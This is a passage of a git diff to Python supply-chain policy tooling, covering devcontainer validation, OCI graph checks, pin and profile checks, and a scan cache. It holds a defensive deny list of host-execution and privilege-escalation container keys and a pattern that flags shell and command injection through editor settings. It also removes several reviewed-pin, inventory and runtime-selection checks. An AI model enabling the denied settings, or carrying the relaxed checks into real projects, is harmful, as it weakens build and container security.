failures.extend(devcontainer_failures(document, str(user))) return failures diff --git a/tools/tooling_artifact_policy_devcontainer.py b/tools/tooling_artifact_policy_devcontainer.py index 23221b939..7b3273b8b 100644 --- a/tools/tooling_artifact_policy_devcontainer.py +++ b/tools/tooling_artifact_policy_devcontainer.py @@ -4,7 +4,7 @@ it admits only the reviewed keys and fixed values that make the container ready to use: the reviewed image definition, the non-root account, one named cache volume, the one repository setup command, the tool path, editor customizations, -and machine sizing. Host-side commands, extra environment, build inputs, host +while native host sizing stays with the client. Host-side commands, extra environment, build inputs, host mounts, and container capabilities are refused rather than reviewed ad hoc. """ @@ -16,7 +16,12 @@ from typing import Any from tools.policy.common import PolicyFailure, load_bounded_json_object -from tools.tooling_artifact_policy_common import as_list, as_mapping, failure, is_regular_repo_file +from tools.tooling_artifact_policy_common import ( + as_list, + as_mapping, + failure, + is_regular_repo_file, +) DEVCONTAINER_CONFIG_PATH = ".devcontainer/devcontainer.json" MAX_CONFIG_BYTES = 64 * 1024 @@ -45,28 +50,43 @@ _REQUIRED_KEYS = frozenset({"build", "remoteUser", "containerUser", "updateContentCommand", "remoteEnv"}) # Keys that would run on the host, widen container privileges, or expose host state. _UNSAFE_RUNTIME_KEYS = frozenset( - {"initializeCommand", "privileged", "runArgs", "capAdd", "securityOpt", "init", "overrideCommand", "workspaceMount"} + { + "initializeCommand", + "privileged", + "runArgs", + "capAdd", + "securityOpt", + "init", + "overrideCommand", + "workspaceMount", + } ) _VOLUME_SOURCE_RE = re.compile(r"^[a-z0-9][a-z0-9_.-]*(?:\$\{devcontainerId\}[a-z0-9_.-]*)?$") _EXTENSION_ID_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9-]*\.[A-Za-z0-9][A-Za-z0-9-]*$") -_SIZE_RE = re.compile(r"^[1-9]\d*gb$", re.ASCII) # Editor settings that inject terminal environment, shells, or commands. _UNSAFE_SETTING_RE = re.compile( - r"^terminal\.integrated\.|(?:^|\.)env(?:File)?(?:\.|$)|command|shell|args$|automationProfile", re.IGNORECASE + r"^terminal\.integrated\.|(?:^|\.)env(?:File)?(?:\.|$)|command|shell|args$|automationProfile", + re.IGNORECASE, ) _SCALARS = (str, int, float, bool) -def load_devcontainer_config(repo_root: Path) -> tuple[dict[str, Any] | None, PolicyFailure | None]: +def load_devcontainer_config( + repo_root: Path, +) -> tuple[dict[str, Any] | None, PolicyFailure | None]: if not is_regular_repo_file(repo_root, DEVCONTAINER_CONFIG_PATH): return None, failure( - RULE_SHAPE, "dev-container configuration could not be read safely", DEVCONTAINER_CONFIG_PATH + RULE_SHAPE, + "dev-container configuration could not be read safely", + DEVCONTAINER_CONFIG_PATH, ) try: return load_bounded_json_object(repo_root, DEVCONTAINER_CONFIG_PATH, max_bytes=MAX_CONFIG_BYTES), None except (OSError, ValueError, RecursionError): return None, failure( - RULE_SHAPE, "dev-container configuration could not be parsed safely", DEVCONTAINER_CONFIG_PATH + RULE_SHAPE, + "dev-container configuration could not be parsed safely", + DEVCONTAINER_CONFIG_PATH, ) @@ -91,20 +111,6 @@ def _mount_admitted(mount: object, cache_root: str) -> bool: ) -def _host_requirements_admitted(value: object) -> bool: - requirements = as_mapping(value) - return ( - isinstance(value, Mapping) - and set(requirements) <= {"cpus", "memory", "storage"} - and all( - (isinstance(item, int) and not isinstance(item, bool) and item > 0) - if key == "cpus" - else (isinstance(item, str) and _SIZE_RE.fullmatch(item) is not None) - for key, item in requirements.items() - ) - ) - - def _setting_value_admitted(value: object, *, nested: bool = False) -> bool: if isinstance(value, _SCALARS): return True @@ -148,7 +154,11 @@ def devcontainer_failures(document: Mapping[str, Any], user: str) -> list[Policy RULE_RUNTIME, "dev-container requests host execution, extra capabilities, or a host mount", ), - (_KEYS >= keys >= _REQUIRED_KEYS, RULE_SHAPE, "dev-container configuration departs from its reviewed key set"), + ( + _KEYS >= keys >= _REQUIRED_KEYS, + RULE_SHAPE, + "dev-container configuration departs from its reviewed key set", + ), ( _build_admitted(document.get("build")), RULE_SHAPE, @@ -169,11 +179,6 @@ def devcontainer_failures(document: Mapping[str, Any], user: str) -> list[Policy RULE_SHAPE, "dev-container must keep the development user aligned with the checkout owner", ), - ( - "hostRequirements" not in document or _host_requirements_admitted(document["hostRequirements"]), - RULE_SHAPE, - "dev-container host requirements must be positive CPU, memory, and storage sizes", - ), ( "customizations" not in document or _customizations_admitted(document["customizations"]), RULE_SHAPE, diff --git a/tools/tooling_artifact_policy_discovery.py b/tools/tooling_artifact_policy_discovery.py index f3fc94b7d..6c91fd2f0 100644 --- a/tools/tooling_artifact_policy_discovery.py +++ b/tools/tooling_artifact_policy_discovery.py @@ -4,6 +4,7 @@ import ast import re +import stat import tomllib from collections.abc import Mapping, Sequence from dataclasses import dataclass @@ -349,13 +350,49 @@ def structured_acquisition(text: str, path: str) -> tuple[int, bool, int]: return len(ACQUISITION_COMMAND_RE.findall(text)) if parsed else 0, parsed, 0 +# One full policy evaluation AST-parses every tracked Python file, and a single +# process commonly evaluates the policy several times (each +# `load_python_closure_profile` call revalidates it first). Re-parsing an +# unchanged file is pure waste, and at this repository's size it dominated the +# evaluation, leaving the policy-heavy tests close to the suite's per-test +# timeout under parallel load. +# +# The key is the file's own identity, so any edit — content or truncation — +# invalidates the entry. Symlinks are never cached: their identity can change +# without the link itself changing. This is a memo of a pure function, not a +# relaxation of what is scanned. +_SCAN_CACHE: dict[tuple[str, int, int], PythonScan | None] = {} +_SCAN_CACHE_LIMIT = 8192 + + +def _scan_cache_key(repo_root: Path, path: str) -> tuple[str, int, int] | None: + """Identify one regular file for caching, or None when it must be re-read.""" + + try: + status = (repo_root / path).lstat() + except OSError: + return None + if not stat.S_ISREG(status.st_mode): + return None + return (path, status.st_size, status.st_mtime_ns) + + def tracked_python_scans(repo_root: Path, tracked_paths: Sequence[str]) -> dict[str, PythonScan | None]: scans: dict[str, PythonScan | None] = {} for path in tracked_paths: if Path(path).suffix != ".py": continue + key = _scan_cache_key(repo_root, path) + if key is not None and key in _SCAN_CACHE: + scans[path] = _SCAN_CACHE[key] + continue text = safe_text(repo_root, path) - scans[path] = None if text is None else python_scan(text) + scan = None if text is None else python_scan(text) + scans[path] = scan + if key is not None: + if len(_SCAN_CACHE) >= _SCAN_CACHE_LIMIT: + _SCAN_CACHE.clear() + _SCAN_CACHE[key] = scan return scans diff --git a/tools/tooling_artifact_policy_inventory.py b/tools/tooling_artifact_policy_inventory.py deleted file mode 100644 index 0d61a4b34..000000000 --- a/tools/tooling_artifact_policy_inventory.py +++ /dev/null @@ -1,309 +0,0 @@ -"""Package-artifact inventory coverage and acquisition-site validation.""" - -from __future__ import annotations - -from collections.abc import Mapping, Sequence -from dataclasses import dataclass -from pathlib import Path -from typing import Any - -from tools.policy.common import PolicyFailure -from tools.tooling_artifact_policy_common import ( - ADMISSION_POLICY_PATH, - INVENTORY_COVERAGE_PATH, - as_list, - as_mapping, - failure, - policy_join_failures, - safe_text, - string_set, -) -from tools.tooling_artifact_policy_discovery import ( - PythonScan, - is_acquisition_scan_candidate, - structured_acquisition, -) - -EXPECTED_INVENTORY_IDS = frozenset( - { - *(f"I{index:02d}" for index in range(1, 17)), - *(f"A{index:02d}" for index in range(1, 8)), - *(f"O{index:02d}" for index in range(1, 5)), - *(f"C{index:02d}" for index in range(1, 5)), - "S01", - "S02", - "D01", - } -) - - -@dataclass(frozen=True) -class _AcquisitionObservation: - acquisition_count: int - unknown_count: int - failure: PolicyFailure | None = None - - @property - def total(self) -> int: - return self.acquisition_count + self.unknown_count - - -def _admission_policies( - documents: Mapping[str, dict[str, Any]], -) -> dict[str, Mapping[str, Any]]: - admission = documents.get(ADMISSION_POLICY_PATH) or {} - return { - item["policy_id"]: item - for item in as_list(admission.get("policies")) - if isinstance(item, Mapping) and isinstance(item.get("policy_id"), str) - } - - -def _inventory_ids(rows: Sequence[Any]) -> tuple[set[str], list[PolicyFailure]]: - seen: set[str] = set() - failures: list[PolicyFailure] = [] - for row_value in rows: - inventory_id = as_mapping(row_value).get("inventory_id") - if not isinstance(inventory_id, str): - continue - if inventory_id in seen: - failures.append( - failure( - "tooling-inventory-duplicate", - "inventory row is covered more than once", - INVENTORY_COVERAGE_PATH, - ) - ) - seen.add(inventory_id) - missing = EXPECTED_INVENTORY_IDS - seen - extra = seen - EXPECTED_INVENTORY_IDS - if missing: - failures.append( - failure( - "tooling-inventory-missing", - f"{len(missing)} package-artifact inventory rows lack coverage", - INVENTORY_COVERAGE_PATH, - ) - ) - if extra: - failures.append( - failure( - "tooling-inventory-extra", - f"{len(extra)} unknown package-artifact inventory rows are present", - INVENTORY_COVERAGE_PATH, - ) - ) - return seen, failures - - -def _row_policy_failures( - rows: Sequence[Any], - policies: Mapping[str, Mapping[str, Any]], -) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - for row_value in rows: - row = as_mapping(row_value) - inventory_id = row.get("inventory_id") - if not isinstance(inventory_id, str): - continue - failures.extend( - policy_join_failures( - policy_refs=string_set(row.get("policy_refs")), - expected_subjects=string_set(row.get("subjects")), - provided_evidence=string_set(row.get("evidence_refs")), - policies=policies, - path=INVENTORY_COVERAGE_PATH, - context=f"inventory row {inventory_id}", - require_all_evidence_per_policy=False, - ) - ) - return failures - - -def _governed_http_failures( - coverage: Mapping[str, Any], - python_scans: Mapping[str, PythonScan | None], -) -> list[PolicyFailure]: - """Reject repository HTTP transport in an acquisition path claimed as governed. - - Maintained clients own acquisition transport. A path that still performs - in-process HTTP must remain an explicit legacy remediation with its owner. - """ - - failures: list[PolicyFailure] = [] - for acquisition_value in as_list(coverage.get("acquisition_paths")): - acquisition = as_mapping(acquisition_value) - path = acquisition.get("path") - scan = python_scans.get(path) if isinstance(path, str) else None - if acquisition.get("disposition") == "governed" and scan is not None and scan.network_call_count: - failures.append( - failure( - "tooling-governed-repository-http", - "governed acquisition path performs in-process repository HTTP instead of a maintained client", - path, - ) - ) - return failures - - -def _owned_paths(coverage: Mapping[str, Any], inventory_ids: set[str]) -> tuple[dict[str, int], list[PolicyFailure]]: - owned: dict[str, int] = {} - failures: list[PolicyFailure] = [] - for acquisition_value in as_list(coverage.get("acquisition_paths")): - acquisition = as_mapping(acquisition_value) - path = acquisition.get("path") - inventory_id = acquisition.get("inventory_id") - site_count = acquisition.get("site_count") - if not isinstance(path, str) or not isinstance(inventory_id, str) or inventory_id not in inventory_ids: - continue - if path in owned: - failures.append( - failure( - "tooling-acquisition-duplicate", - "acquisition path has more than one disposition", - path, - ) - ) - if isinstance(site_count, int) and not isinstance(site_count, bool): - owned[path] = site_count - return owned, failures - - -def _python_observation(path: str, scan: PythonScan | None) -> _AcquisitionObservation: - if scan is None: - return _AcquisitionObservation( - 0, - 0, - failure( - "tooling-acquisition-scan", - "possible acquisition surface could not be read safely", - path, - ), - ) - if not scan.parsed: - return _AcquisitionObservation( - 0, - 0, - failure( - "tooling-acquisition-scan", - "possible acquisition surface could not be parsed safely", - path, - ), - ) - return _AcquisitionObservation(scan.acquisition_count, scan.unknown_executable_count) - - -def _nonpython_observation(repo_root: Path, path: str) -> _AcquisitionObservation: - text = safe_text(repo_root, path) - if text is None: - return _AcquisitionObservation( - 0, - 0, - failure( - "tooling-acquisition-scan", - "possible acquisition surface could not be read safely", - path, - ), - ) - acquisition_count, parsed, unknown_count = structured_acquisition(text, path) - if not parsed: - return _AcquisitionObservation( - 0, - 0, - failure( - "tooling-acquisition-scan", - "possible acquisition surface could not be parsed safely", - path, - ), - ) - return _AcquisitionObservation(acquisition_count, unknown_count) - - -def _observe_path( - repo_root: Path, - path: str, - python_scans: Mapping[str, PythonScan | None], -) -> _AcquisitionObservation: - if Path(path).suffix == ".py": - return _python_observation(path, python_scans.get(path)) - return _nonpython_observation(repo_root, path) - - -def _unowned_failures(path: str, observation: _AcquisitionObservation, owned: Mapping[str, int]) -> list[PolicyFailure]: - failures: list[PolicyFailure] = [] - if observation.acquisition_count and path not in owned: - failures.append( - failure( - "tooling-acquisition-unowned", - "artifact acquisition path lacks an inventory disposition", - path, - ) - ) - if observation.unknown_count and path not in owned: - failures.append( - failure( - "tooling-acquisition-unknown", - "dynamic executable form lacks an explicit inventory disposition", - path, - ) - ) - return failures - - -def _acquisition_failures( - repo_root: Path, - tracked_paths: Sequence[str], - python_scans: Mapping[str, PythonScan | None], - owned: Mapping[str, int], -) -> list[PolicyFailure]: - observed: dict[str, int] = {} - failures: list[PolicyFailure] = [] - for path in tracked_paths: - if not is_acquisition_scan_candidate(path): - continue - observation = _observe_path(repo_root, path, python_scans) - if observation.failure is not None: - failures.append(observation.failure) - continue - if observation.total: - observed[path] = observation.total - failures.extend(_unowned_failures(path, observation, owned)) - failures.extend( - failure( - "tooling-acquisition-stale", - "inventory disposition does not match a discovered acquisition surface", - path, - ) - for path in sorted(set(owned) - set(observed)) - ) - failures.extend( - failure( - "tooling-acquisition-drift", - "discovered acquisition-site count differs from its explicit disposition", - path, - ) - for path in sorted(set(owned) & set(observed)) - if owned[path] != observed[path] - ) - return failures - - -def inventory_failures( - repo_root: Path, - documents: Mapping[str, dict[str, Any]], - tracked_paths: Sequence[str], - python_scans: Mapping[str, PythonScan | None], -) -> list[PolicyFailure]: - """Validate complete inventory ownership and discovered acquisition sites.""" - - coverage = documents.get(INVENTORY_COVERAGE_PATH) - if coverage is None: - return [] - rows = as_list(coverage.get("rows")) - inventory_ids, failures = _inventory_ids(rows) - failures.extend(_row_policy_failures(rows, _admission_policies(documents))) - owned, ownership_failures = _owned_paths(coverage, inventory_ids) - failures.extend(ownership_failures) - failures.extend(_acquisition_failures(repo_root, tracked_paths, python_scans, owned)) - failures.extend(_governed_http_failures(coverage, python_scans)) - return failures diff --git a/tools/tooling_artifact_policy_oci.py b/tools/tooling_artifact_policy_oci.py new file mode 100644 index 000000000..9558eb07e --- /dev/null +++ b/tools/tooling_artifact_policy_oci.py @@ -0,0 +1,214 @@ +"""Static coherence of locked OCI platform graphs. + +The release client pulls a pinned platform manifest through the native runtime, +then checks the daemon identity and uncompressed layer digests against this graph. +""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import Any + +from tools.policy.common import PolicyFailure +from tools.tooling_artifact_policy_common import ( + ARTIFACT_LOCK_PATH, + as_list, + as_mapping, + failure, + normalize_platform_id, + string_set, +) + +# The evidence class that distinguishes an export-bearing image from an +# index-only one. The admission policy, not this module, decides which images +# supply it; this module enforces that the claim and the record agree. +GRAPH_EVIDENCE = "oci-platform-graph-digests" + +RULE_UNPOLICED = "tooling-oci-graph-unpoliced" +RULE_MISSING = "tooling-oci-graph-missing" +RULE_INDEX_IDENTITY = "tooling-oci-index-identity" +RULE_LAYER_ARITY = "tooling-oci-layer-arity" +RULE_LAYER_DUPLICATE = "tooling-oci-layer-duplicate" +RULE_PLATFORM_MISMATCH = "tooling-oci-platform-mismatch" +RULE_MANIFEST_DUPLICATE = "tooling-oci-manifest-duplicate" +RULE_DIGEST_DENIED = "tooling-digest-denied" + +# Canonical platform id -> the OCI platform its objects must declare. A record +# that names one platform while carrying another's objects is exactly the +# wrong-platform substitution this table exists to reject. +_PLATFORM_IDENTITY = { + "linux-x86_64": ("amd64", "linux"), + "linux-arm64": ("arm64", "linux"), + "macos-arm64": ("arm64", "darwin"), +} + +_DIGEST_PREFIX = "sha256:" + + +def _lock_failure(rule: str, message: str) -> PolicyFailure: + return failure(rule, message, ARTIFACT_LOCK_PATH) + + +def is_graph_bearing(artifact: Mapping[str, Any], policies: Mapping[str, Mapping[str, Any]]) -> bool: + """Return whether every admission policy this artifact names admits a graph. + + The evidence join is conjunctive -- an artifact supplies one evidence set to + all of its policies -- so a graph is admitted only when no referenced policy + would reject it. + """ + + policy_refs = string_set(artifact.get("policy_refs")) + return bool(policy_refs) and all( + GRAPH_EVIDENCE in string_set(as_mapping(policies.get(policy_ref)).get("accepted_evidence")) + for policy_ref in policy_refs + ) + + +def declares_graph(artifact: Mapping[str, Any]) -> bool: + return any(as_mapping(platform).get("oci_graph") is not None for platform in as_list(artifact.get("platforms"))) + + +def _bare_digests(graph: Mapping[str, Any]) -> list[str]: + descriptors = [as_mapping(graph.get(name)).get("digest") for name in ("index", "manifest", "config")] + [ + as_mapping(layer).get("digest") for layer in as_list(graph.get("layers")) + ] + values = [value for value in (*descriptors, *as_list(graph.get("diff_ids"))) if isinstance(value, str)] + return [value.removeprefix(_DIGEST_PREFIX) for value in values] + + +def _identity_failures(artifact_id: str, artifact: Mapping[str, Any], graph: Mapping[str, Any]) -> list[PolicyFailure]: + release = as_mapping(artifact.get("source")).get("release") + if as_mapping(graph.get("index")).get("digest") == release: + return [] + return [ + _lock_failure( + RULE_INDEX_IDENTITY, + f"{artifact_id} platform graph does not retain the reviewed index identity", + ) + ] + + +def _layer_failures(artifact_id: str, graph: Mapping[str, Any]) -> list[PolicyFailure]: + layers = as_list(graph.get("layers")) + digests = [as_mapping(layer).get("digest") for layer in layers] + failures: list[PolicyFailure] = [] + if len(layers) != len(as_list(graph.get("diff_ids"))): + failures.append( + _lock_failure( + RULE_LAYER_ARITY, + f"{artifact_id} platform graph does not pair every layer with its uncompressed identity", + ) + ) + if len(set(digests)) != len(digests): + failures.append( + _lock_failure( + RULE_LAYER_DUPLICATE, + f"{artifact_id} platform graph repeats a layer digest", + ) + ) + return failures + + +def _platform_identity_failures( + artifact_id: str, + platform_id: str, + graph: Mapping[str, Any], +) -> list[PolicyFailure]: + expected = _PLATFORM_IDENTITY.get(normalize_platform_id(platform_id)) + observed = (graph.get("architecture"), graph.get("os")) + if expected is not None and observed == expected: + return [] + return [ + _lock_failure( + RULE_PLATFORM_MISMATCH, + f"{artifact_id} platform graph declares objects for another platform", + ) + ] + + +def _denied_failures(artifact_id: str, graph: Mapping[str, Any], denied_digests: set[str]) -> list[PolicyFailure]: + if not denied_digests.intersection(_bare_digests(graph)): + return [] + return [_lock_failure(RULE_DIGEST_DENIED, f"{artifact_id} platform graph uses a denied digest")] + + +def _declaration_failures( + artifact_id: str, + platform_id: str, + *, + declared: bool, + admitted: bool, +) -> list[PolicyFailure]: + """Reject a graph and its admission policy disagreeing in either direction.""" + + if admitted and not declared: + return [ + _lock_failure( + RULE_MISSING, + f"{artifact_id} admits a platform graph but {platform_id} declares none", + ) + ] + if declared and not admitted: + return [ + _lock_failure( + RULE_UNPOLICED, + f"{artifact_id} declares a platform graph its admission policy does not admit", + ) + ] + return [] + + +def platform_graph_failures( + artifact_id: str, + artifact: Mapping[str, Any], + platform: Mapping[str, Any], + policies: Mapping[str, Mapping[str, Any]], + denied_digests: set[str], +) -> list[PolicyFailure]: + """Validate one platform's OCI graph against its artifact and admission policy.""" + + graph = platform.get("oci_graph") + platform_id = platform.get("platform_id") + declaration = _declaration_failures( + artifact_id, + str(platform_id), + declared=graph is not None, + admitted=is_graph_bearing(artifact, policies), + ) + if declaration or graph is None: + return declaration + graph = as_mapping(graph) + return [ + *_identity_failures(artifact_id, artifact, graph), + *_layer_failures(artifact_id, graph), + *_platform_identity_failures(artifact_id, str(platform_id), graph), + *_denied_failures(artifact_id, graph, denied_digests), + ] + + +def artifact_graph_failures(artifact_id: str, platforms: Sequence[Any]) -> list[PolicyFailure]: + """Reject two platforms of one image that claim the same selected manifest.""" + + manifests = [ + digest + for platform in platforms + if (graph := as_mapping(platform).get("oci_graph")) is not None + and isinstance(digest := as_mapping(as_mapping(graph).get("manifest")).get("digest"), str) + ] + if len(set(manifests)) == len(manifests): + return [] + return [ + _lock_failure( + RULE_MANIFEST_DUPLICATE, + f"{artifact_id} selects one platform manifest for more than one platform", + ) + ] + + +__all__ = [ + "GRAPH_EVIDENCE", + "artifact_graph_failures", + "declares_graph", + "is_graph_bearing", + "platform_graph_failures", +] diff --git a/tools/tooling_artifact_policy_python.py b/tools/tooling_artifact_policy_python.py index d0a829176..d39748c80 100644 --- a/tools/tooling_artifact_policy_python.py +++ b/tools/tooling_artifact_policy_python.py @@ -31,20 +31,6 @@ PYTHON_TOOL_LOCK_PATH, PYTHON_BUILD_CONSTRAINTS_PATH, ) -_EXPECTED_TOOLS = { - "check-jsonschema": "0.37.1", - "cryptography": "50.0.1", - "filelock": "3.32.6", - "nox": "2026.4.10", - "pip": "26.2.1", - "pre-commit": "4.3.0", - "pre-commit-hooks": "6.0.0", - "pytest": "9.0.3", - "pytest-timeout": "2.4.0", - "ruff": "0.15.9", - "uv": "0.12.4", -} -_EXPECTED_BUILD = {"hatchling": "1.27.0"} _HASH_RE = re.compile(r"--hash=sha256:([0-9a-f]{64})") _TOML_SIZE_LIMIT = 4 * 1024 * 1024 @@ -216,16 +202,17 @@ def _dependency_pin_failures( tool_project: Mapping[str, Any], tool_lock: Mapping[str, Any], ) -> list[PolicyFailure]: - """Require the reviewed exact tool, build, and build-system pin sets.""" + """Require exact native project pins and agreement with the frozen lock.""" failures: list[PolicyFailure] = [] tool_pins = _direct_pins(tool_project.get("project", {}).get("dependencies")) build_pins = _direct_pins(tool_project.get("dependency-groups", {}).get("build")) - if tool_pins != _EXPECTED_TOOLS or build_pins != _EXPECTED_BUILD: + acquisition_pins = _direct_pins(tool_project.get("dependency-groups", {}).get("acquisition-tests")) + if not tool_pins or not build_pins or not acquisition_pins: failures.append( failure( "tooling-python-direct-pins", - "Python tool and build direct dependencies must match the reviewed exact set", + "Python tool and build direct dependencies must use unique exact pins", PYTHON_TOOL_PROJECT_PATH, ) ) @@ -236,10 +223,14 @@ def _dependency_pin_failures( "reviewed Python direct dependency is absent or drifted in the tool lock", PYTHON_TOOL_LOCK_PATH, ) - for name, version in {**_EXPECTED_TOOLS, **_EXPECTED_BUILD}.items() + for name, version in { + **(tool_pins or {}), + **(build_pins or {}), + **(acquisition_pins or {}), + }.items() if versions.get(name) != {version} ) - if _direct_pins(project.get("build-system", {}).get("requires")) != _EXPECTED_BUILD: + if _direct_pins(project.get("build-system", {}).get("requires")) != build_pins: failures.append( failure( "tooling-python-build-system", @@ -269,7 +260,8 @@ def _governed_pin_failures(repo_root: Path, project: Mapping[str, Any]) -> list[ ) constraints = _constraint_records((repo_root / PYTHON_BUILD_CONSTRAINTS_PATH).read_text(encoding="utf-8")) recorded = {name: record[0] for name, record in (constraints or {}).items()} - hash_complete = constraints is not None and _EXPECTED_BUILD.items() <= recorded.items() + build_pins = _direct_pins(project.get("build-system", {}).get("requires")) + hash_complete = constraints is not None and bool(build_pins) and build_pins.items() <= recorded.items() if not hash_complete: failures.append( failure( diff --git a/tools/tooling_artifact_policy_python_profiles.py b/tools/tooling_artifact_policy_python_profiles.py index 919b8b09e..94316daa7 100644 --- a/tools/tooling_artifact_policy_python_profiles.py +++ b/tools/tooling_artifact_policy_python_profiles.py @@ -3,7 +3,6 @@ from __future__ import annotations import hashlib -import json from collections.abc import Mapping, Sequence from pathlib import Path from typing import Any @@ -13,17 +12,12 @@ PROFILES_PATH, failure, is_regular_repo_file, + read_tooling_document, ) PYTHON_PROJECT_LOCK_PATH = "implementations/python/uv.lock" PYTHON_TOOL_LOCK_PATH = "implementations/tooling/python/uv.lock" -_EXPECTED_CONTEXT_IDS = frozenset( - { - "python-public", - "python-enterprise-mirror-only", - "python-offline", - } -) +_EXPECTED_CONTEXT_IDS = frozenset({"python-public"}) _PROJECT_SCOPED_PURPOSES = frozenset({"wheel-smoke", "sdist-smoke", "compatibility", "docs"}) _PROJECTION_SIZE_LIMIT = 2 * 1024 * 1024 @@ -42,38 +36,17 @@ def _context_set_failures(context_ids: Sequence[str]) -> list[PolicyFailure]: ] -def _maps_complete_namespace(context: Mapping[str, Any]) -> bool: - """Report whether a mirror-only context maps everything to one credentialed mirror.""" - - mappings = context.get("namespace_mapping", []) - return bool( - context.get("credential_refs", []) - and len(mappings) == 1 - and isinstance(mappings[0], Mapping) - and mappings[0].get("namespace") == "*" - and mappings[0].get("locator_ref") == context.get("locator_ref") - ) - - def _context_failures(contexts: Sequence[Mapping[str, Any]]) -> list[PolicyFailure]: """Validate credential, mirror, and fallback policy for each context.""" failures: list[PolicyFailure] = [] for context in contexts: mode = context.get("mode") - if mode in {"public", "offline"} and context.get("credential_refs", []): + if mode != "public" or context.get("credential_refs", []): failures.append( failure( "tooling-python-credentials", - "public and offline Python contexts must be credential-free", - PROFILES_PATH, - ) - ) - if mode == "mirror-only" and not _maps_complete_namespace(context): - failures.append( - failure( - "tooling-python-mirror", - "mirror-only Python context must map the complete namespace to one credential-referenced mirror", + "Python acquisition must use the credential-free public context", PROFILES_PATH, ) ) @@ -189,7 +162,7 @@ def _projection_drift_failures( """Require one readable projection to be bound to its profile and lock.""" try: - manifest = json.loads((repo_root / manifest_path).read_text(encoding="utf-8")) + manifest = read_tooling_document(repo_root, manifest_path) requirements = (repo_root / requirements_path).read_bytes() except (OSError, ValueError): return [ diff --git a/tools/tooling_artifact_policy_selectors.py b/tools/tooling_artifact_policy_selectors.py index 421d2ae9d..ff1226930 100644 --- a/tools/tooling_artifact_policy_selectors.py +++ b/tools/tooling_artifact_policy_selectors.py @@ -2,14 +2,12 @@ from __future__ import annotations -import re from collections.abc import Mapping, Sequence from pathlib import Path from typing import Any from tools.policy.common import PolicyFailure from tools.tooling_artifact_policy_common import ( - ACTIONS_POLICY_PATH, ARTIFACT_LOCK_PATH, SELECTOR_BINDINGS_PATH, as_list, @@ -17,7 +15,6 @@ failure, safe_text, ) -from tools.tooling_artifact_policy_discovery import PythonScan def _locked_versions(lock: Mapping[str, Any]) -> dict[object, object]: @@ -88,238 +85,16 @@ def _binding_consumer_failures( return failures -def _runtime_declarations( - bindings: Mapping[str, Any], -) -> tuple[dict[str, set[str]], list[PolicyFailure]]: - declared: dict[str, set[str]] = {} - failures: list[PolicyFailure] = [] - for selection_value in as_list(bindings.get("runtime_selections")): - selection = as_mapping(selection_value) - artifact_id = selection.get("artifact_id") - if not isinstance(artifact_id, str): - continue - if artifact_id in declared: - failures.append( - failure( - "tooling-runtime-selection-duplicate", - "artifact has more than one runtime selection binding", - SELECTOR_BINDINGS_PATH, - ) - ) - declared.setdefault(artifact_id, set()).update( - path for path in as_list(selection.get("consumers")) if isinstance(path, str) - ) - return declared, failures - - -def _runtime_observations( - tracked_paths: Sequence[str], - python_scans: Mapping[str, PythonScan | None], - action_policy: Mapping[str, Any], - eligible_action_artifact_ids: set[str], -) -> tuple[dict[str, set[str]], list[PolicyFailure]]: - observed, failures = _python_runtime_observations(tracked_paths, python_scans) - _record_action_runtime_observations(observed, action_policy, eligible_action_artifact_ids) - return observed, failures - - -def _python_runtime_observations( - tracked_paths: Sequence[str], - python_scans: Mapping[str, PythonScan | None], -) -> tuple[dict[str, set[str]], list[PolicyFailure]]: - observed: dict[str, set[str]] = {} - failures: list[PolicyFailure] = [] - for path in tracked_paths: - if Path(path).suffix != ".py": - continue - scan = python_scans.get(path) - if scan is None: - failures.append( - failure( - "tooling-runtime-selection-scan", - "tracked Python source could not be read safely", - path, - ) - ) - continue - if not scan.selection_calls_valid: - failures.append( - failure( - "tooling-runtime-selection-drift", - "selection call must use a literal artifact id and all reviewed dimensions", - path, - ) - ) - for artifact_id in scan.selected_artifact_ids: - observed.setdefault(artifact_id, set()).add(path) - return observed, failures - - -def _record_action_runtime_observations( - observed: dict[str, set[str]], - action_policy: Mapping[str, Any], - eligible_action_artifact_ids: set[str], -) -> None: - for action_value in as_list(action_policy.get("actions")): - for input_value in as_list(as_mapping(action_value).get("transitive_inputs")): - artifact_id = as_mapping(input_value).get("artifact_ref") - if isinstance(artifact_id, str) and artifact_id in eligible_action_artifact_ids: - observed.setdefault(artifact_id, set()).add(ACTIONS_POLICY_PATH) - - -def _runtime_selection_failures( - lock: Mapping[str, Any], - bindings: Mapping[str, Any], - tracked_paths: Sequence[str], - python_scans: Mapping[str, PythonScan | None], - action_policy: Mapping[str, Any], -) -> list[PolicyFailure]: - locked_ids = { - artifact.get("artifact_id") - for artifact in as_list(lock.get("artifacts")) - if isinstance(artifact, Mapping) - and isinstance(artifact.get("artifact_id"), str) - and artifact.get("artifact_class") != "bootstrap" - } - declared, failures = _runtime_declarations(bindings) - observed, observation_failures = _runtime_observations( - tracked_paths, - python_scans, - action_policy, - locked_ids, - ) - failures.extend(observation_failures) - failures.extend( - failure( - "tooling-runtime-selection-drift", - f"{artifact_id} runtime selection consumers differ from tracked calls", - SELECTOR_BINDINGS_PATH, - ) - for artifact_id in sorted(set(declared) | set(observed)) - if declared.get(artifact_id, set()) != observed.get(artifact_id, set()) - ) - if set(declared) != locked_ids or set(observed) != locked_ids: - failures.append( - failure( - "tooling-runtime-selection-coverage", - "every locked artifact must have exactly one runtime selection binding", - SELECTOR_BINDINGS_PATH, - ) - ) - return failures - - -def _tracked_literal_failure( - repo_root: Path, - tracked_paths: Sequence[str], - tracked_literal: Mapping[str, Any], -) -> list[PolicyFailure]: - values = ( - tracked_literal.get("selector_id"), - tracked_literal.get("authority_path"), - tracked_literal.get("authority_template"), - tracked_literal.get("consumer_prefix"), - ) - if not all(isinstance(value, str) for value in values): - return [] - selector_id, authority_path, authority_template, consumer_prefix = values - assert isinstance(selector_id, str) - assert isinstance(authority_path, str) - assert isinstance(authority_template, str) - assert isinstance(consumer_prefix, str) - prefix, marker, suffix = authority_template.partition("{selector}") - authority_text = safe_text(repo_root, authority_path) - authority_failure = None - if authority_text is None or not marker: - authority_failure = failure( - "tooling-selector-authority", - f"{selector_id} authority cannot be read", - authority_path, - ) - selectors: set[str] = set() - else: - selectors = set(re.findall(re.escape(prefix) + r"([^\r\n]+?)" + re.escape(suffix), authority_text)) - if len(selectors) != 1: - authority_failure = failure( - "tooling-selector-authority", - f"{selector_id} authority must resolve to exactly one selector", - authority_path, - ) - if authority_failure is not None: - return [authority_failure] - return _literal_consumer_failures(repo_root, tracked_paths, selector_id, 